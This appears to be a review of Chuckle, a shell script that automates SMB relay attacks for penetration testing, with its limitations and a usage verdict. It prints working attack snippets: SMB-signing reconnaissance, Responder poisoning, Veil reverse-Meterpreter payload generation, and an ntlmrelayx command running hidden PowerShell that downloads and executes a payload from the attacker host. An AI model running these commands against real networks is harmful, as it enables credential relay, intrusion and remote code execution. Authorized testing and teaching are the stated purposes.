Chuckle: The Shell Script That Automates Multi-Tool SMB Relay Attacks
Hook
A 200-line shell script from 2017 still outpaces modern frameworks at one specific task: chaining five separate pentesting tools into a single SMB relay killchain without writing a single line of Python.
Context
SMB relay attacks exploit a fundamental weakness in Microsoft's NTLM authentication protocol: when a user authenticates to Server A, an attacker can intercept those credentials and relay them to Server B, gaining unauthorized access without ever cracking a password. This attack vector has existed since the late 1990s, yet remains devastatingly effective in modern Active Directory environments where SMB signing isn't enforced.
The traditional exploitation process is tedious and error-prone. Penetration testers manually start Responder to poison LLMNR/NBT-NS requests, configure ntlmrelayx.py with target lists, generate payloads in Veil, set up Metasploit listeners, and coordinate timing across all these tools. Miss one configuration flag or start tools in the wrong order, and your attack fails silently while valuable testing time evaporates. Chuckle emerged from NCC Group's internal penetration testing practice to solve this coordination nightmare—wrapping the entire workflow into an automated sequence that handles tool orchestration, version compatibility, and state management through simple shell scripting.
Technical Insight
Chuckle's architecture is deceptively simple: it's a linear shell script that calls external tools in sequence, using temporary files and process management to coordinate between them. The elegance lies not in sophisticated programming patterns, but in understanding exactly how these security tools interact and what minimal glue code keeps them synchronized.
The script begins with reconnaissance, using nbtscan and nmap to enumerate live hosts and identify SMB signing status. This intelligence determines which targets are vulnerable to relay attacks:
# Extract live hosts and check SMB signing status
nbtscan -r $SUBNET > /tmp/nbtscan.txt
while read line; do
IP=$(echo $line | awk '{print $1}')
nmap -p445 --script smb-security-mode $IP | grep -q "message_signing: disabled"
if [ $? -eq 0 ]; then
echo $IP >> /tmp/targets.txt
fi
done < /tmp/nbtscan.txt
Once targets are identified, Chuckle detects your Responder version (a critical step since command-line flags changed between versions) and launches it with SMB/HTTP servers disabled to avoid interfering with the relay. It then generates a Veil payload—typically a reverse TCP Meterpreter shell—and feeds it to ntlmrelayx.py:
# Generate payload and configure relay
veil-evasion --payload python/meterpreter/rev_tcp \
--msfvenom windows/meterpreter/reverse_tcp \
LHOST=$ATTACKER_IP LPORT=4444 -o /tmp/payload.exe
# Start relay with target list
python /usr/share/doc/python-impacket/examples/ntlmrelayx.py \
-tf /tmp/targets.txt \
-c "powershell.exe -exec bypass -nop -w hidden -c \"IEX(New-Object Net.WebClient).DownloadString('http://$ATTACKER_IP:8080/payload.exe')\""
The critical architectural decision is using file-based communication between tools rather than attempting programmatic integration. Chuckle writes target lists, captured credentials, and execution status to /tmp, allowing each tool to operate independently while the shell script polls for state changes. When ntlmrelayx successfully relays credentials and executes the payload, Metasploit's handler (started earlier via msfconsole -r) catches the reverse shell.
Chuckle also demonstrates version-aware tool handling, a common pain point when security tools update their interfaces:
# Detect Responder version and adjust flags
RESPONDER_VERSION=$(responder --version 2>&1 | grep -oP 'v\K[0-9]+')
if [ "$RESPONDER_VERSION" -ge 3 ]; then
responder -I eth0 -r -d -w -P
else
responder -I eth0 -r -d -w -F -P
fi
This version detection addresses real-world fragility in offensive security workflows where tools across Kali Linux updates break scripts written just months earlier. The shell script approach makes these compatibility shims trivial to add and transparent to audit.
The entire orchestration runs as a foreground process with clear console output from each tool, making it easy to debug when attacks fail. Unlike monolithic Python frameworks that abstract away tool output, Chuckle preserves visibility into what Responder captures, what ntlmrelayx relays, and when Metasploit receives shells. This transparency trades automation sophistication for operational clarity—a reasonable trade-off during time-pressured penetration tests where understanding failure modes matters more than elegant error handling.
Gotcha
Chuckle's biggest limitation is its dependency chain fragility. You need specific versions of Responder, Impacket's ntlmrelayx, Veil Framework, Metasploit, nmap, and nbtscan all correctly installed with compatible Python environments. On modern Kali Linux installations, Veil's dependencies frequently conflict with system Python packages, and the script provides no dependency resolution or helpful error messages when tools are missing. Expect to spend 30-60 minutes debugging PATH issues and missing Python libraries before your first successful run.
The attack model itself has reliability problems beyond Chuckle's control. Success depends entirely on timing: a privileged domain user must attempt authentication while your relay is active. In small networks or during off-hours testing, you might wait hours for exploitable traffic. The script also lacks persistence—if it crashes or you lose SSH connectivity to your attack box, the entire chain stops and you start over. Modern alternatives like CrackMapExec maintain state across restarts and offer scheduled/repeated attack attempts, while Chuckle is strictly a one-shot tool. Additionally, the generated Veil payloads often trigger antivirus detection in 2024, requiring manual payload customization that defeats the automation purpose.
Verdict
Use Chuckle if you're conducting authorized internal network penetration tests with a pre-configured Kali Linux environment and need to quickly demonstrate SMB relay vulnerability to clients. It excels as a teaching tool for understanding relay attack mechanics since every step remains visible and auditable. The shell script format makes it trivial to customize for specific engagement requirements—add logging, change payload types, or integrate different post-exploitation frameworks with basic bash editing. Skip Chuckle if you need reliable, repeatable attacks in production assessments. The dependency complexity and lack of error handling make it unsuitable for time-constrained engagements where setup time matters. Also skip it for modern Active Directory environments with IPv6 enabled—tools like mitm6 combined with ntlmrelayx directly offer superior success rates. Finally, avoid Chuckle if you're targeting mature security programs where generated payloads will be detected; you'll need custom evasion that shell script automation can't provide. For serious offensive operations, invest time in learning ntlmrelayx and CrackMapExec directly rather than relying on this orchestration layer.